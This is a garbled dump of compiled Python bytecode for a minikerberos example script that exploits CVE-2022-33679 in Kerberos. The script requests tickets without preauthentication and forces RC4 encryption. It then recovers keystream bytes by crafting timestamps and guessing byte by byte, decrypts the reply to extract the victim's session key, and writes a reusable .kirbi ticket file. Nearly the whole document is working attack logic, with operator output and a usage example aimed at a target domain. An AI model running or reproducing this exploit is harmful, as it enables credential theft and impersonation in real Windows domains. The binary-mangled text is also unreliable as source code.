o
    j#                     @   s   d dl Z d dlZd dlZd dlZd dlmZmZ d dlmZ d dl	m
Z
 d dlmZmZ d dlmZmZmZmZmZmZmZmZmZ dd Zd	d
 Zdd Zdd ZdddZdd ZdddZdd Ze dkrme  dS dS )    N)KerberosClientFactorykerberos_url_help_epilog)AIOKerberosClient)EncryptionType)Key_enctype_table)	PA_ENC_TS_ENCHostAddressKRB_CREDKrbCredInfoEncKrbCredPartEncryptedDataEncryptionKeyPrincipalNameTicketFlagsc                 C   s   t dd t| |D S )Nc                 S   s   g | ]\}}||A qS  r   ).0_a_br   r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/minikerberos/examples/CVE_2022_33679.py
<listcomp>   s    zbyte_xor.<locals>.<listcomp>)byteszip)ba1ba2r   r   r   byte_xor   s   r   c                  C   s>   g } t dD ]}dd|jdddd d}| t| q| S )	N2      s        bigF	byteordersigned)z	addr-typeaddress)rangeto_bytesappendr	   )hostsxhdr   r   r   get_padding_data!   s   r*   c                 C   s`   t | }|dkrtdd}|| }|d }|d }d|jdddd	 d
 |jdddd	 d S )N   NO      s                           yr   r   Fr    s   0s   0)len	Exceptionr%   )ciphercipher_lengthheader_lengthdata_length	first_len
second_lenr   r   r   calc_known_plaintext.   s   ,r7   c                 C   s   t j t jjjdd}|d}| d }dt|jdddd	 | }d
t|jdddd	 | }| dkrGdt|jdddd	 | }|S d|  jdddd	d| d   t|jdddd	 }d| | }|S )Nr   microsecondz%Y%m%d%H%M%SZ       r   r   Fr          0   )	datetimenowtimezoneutcreplacestrftimeencoder/   r%   )nr@   nowstrtttts_end	timestampr(   r   r   r   get_crafted_timestamp;   s   
4rL   d   c                    s8   t |   dd fddtdt D  S )Nz    z
    c                    s   g | ]
} ||  qS r   r   )r   ikdrF   r   r   r   N   s    z format_kirbi.<locals>.<listcomp>r   )base64	b64encodedecodejoinr$   r/   )datarF   r   rO   r   format_kirbiL   s   *rV   c                 C   s  d|d}i }t ||d< | d |d< | d |d< ttg d|d	< ||d
< ||d< |tjdd jdd|d< |tjdd jdd|d< | d |d< tdd| d gd|d< i }t|g|d< i }d|d< t|	 |d< i }d|d< d|d< t
||d< | d g|d< t|S ) N)keytypekeyvaluekeycrealmprealmcnamepname)z
enc-pa-repforwardable	renewableinitial	proxiableflagsauthtime	starttimer   )daysr   r8   endtimez
renew-tillsrealmkrbtgt)z	name-typezname-stringsnamezticket-infoetyper1      pvno   msg-typeenc-parttickettickets)r   r   setr?   	timedeltarC   r   r   r   dumpr   r
   )tgt
sessionkeyr@   keydcititerH   r   r   r   tgt_to_kirbiP   s2   r|   c                    s  t | }td | }dt i}|jtj|dd}|j	|
 I d H }|j}td tjtjjjdd}td|jddi
 }	|d	 d
 }
t|
}|
d t| }td|   t||}td|   td td|	   td|	 |}td|   |jtj||d}|j	|
 I d H }|j}|d dkrtd d S td|d   td d}t|}tddD ]\}tdD ]N}|d7 }|jdddd}|| }t||}	td|	 |}|jtj||d}|j	|
 I d H }|j}|d dkrqtdt|| | f  |} ntd  d S qtd|  tjtjjjdd}td|jddi
 }	td  td|	 |}|jtj||d}|j	|
 I d H }|j}|d dkrltd! d S td" t|d	 d
 |}|d#d$ d% }td&|   ||_td' |_d'|_td'||_t|||
 }td( tt | d)|!d* }|d ur|}td+|  t"|d,}|#| W d    d S 1 sw   Y  d S )-Nz[+] FETCHING TGT...	addressesT)kdc_req_body_extra
no_preauthz[+] GOT TGT...r   r8   patimestamprp   r1   z[+] PLAINTEXT FRAGMENT: %s z[+] PARTIAL KEYSTREAM : %sz[+] VERIFYING KEYSTREAM...z[i] TIMESTAMP    : %ss                           z[i] ENC TIMESTAMP: %s)enctimestampnewnowro      z![-] FAILED! Keystream is not goodz*[+] PARTIAL KEYSTREAM WORKS! Got code : %sz)[+] GUESSING REMAINING KEYSTREAM BYTES...r.      r   r   Fr    z6[+] Correctly guessed keystream byte position %s: 0x%szAll guesses failed!!!z&[+] GUESSED KEYSTREAM IN %s ITERATIONSz[+] REQUESTING FRESH TGTz FAILED! Keystream is not good :(z$[+] DECRYPTING AS-REP WITH KEYSTREAM+   0   s   z[+] FOUND SESSION KEY: %srW   z[+] KIRBI DATA:z%s.kirbiz%Y%m%d_%H%M%Sz[+] Writing .kirbi file to: %swb)$r   from_urlprint
get_clientr*   build_asreq_ltsr   ARCFOUR_MD4ksocsendrecvru   nativer?   r@   rA   rB   rC   r   r7   r/   hexr   r$   r%   rL   kerberos_TGTr   kerberos_cipherkerberos_cipher_typer   kerberos_session_keyr|   rV   rD   openwrite)kerberos_url	kirbifilecuclientpadding_datacraftticketreprv   r@   rK   cipher_dataplaintext_datacipher_data_header	keystreamenc_timestampctrorig_keystream_lentslen	byteguesskeystream_guessdec_datasession_keykirbifilenamefr   r   r   exploitq   s   




$r   c                  C   s   dd l } | jddd}|jddd |jdd	d
dd | }|jdkr,tjtjd n|jdkr9tjtjd ntjdd t	
t|j d S )Nr   zRFetches TGT&session key for user who doesnt need kerberos preauth. CVE-2022-33679.zvUse it with a valid kerberus URL but any password. Example: "cve202233679 'kerberos+none://TEST\asreptest@10.10.10.2'")descriptionusager   zthe kerberos target string. )helpz-vz	--verbosecount)actiondefault)levelr   )argparseArgumentParseradd_argument
parse_argsverboseloggingbasicConfigINFODEBUGasynciorunr   r   )r   parserargsr   r   r   main   s   

r   __main__)rM   )N)!r?   r   r   rQ   minikerberos.common.factoryr   r   minikerberos.aioclientr   minikerberos.protocol.constantsr    minikerberos.protocol.encryptionr   r   "minikerberos.protocol.asn1_structsr   r	   r
   r   r   r   r   r   r   r   r*   r7   rL   rV   r|   r   r   __name__r   r   r   r   <module>   s(   ,

!f
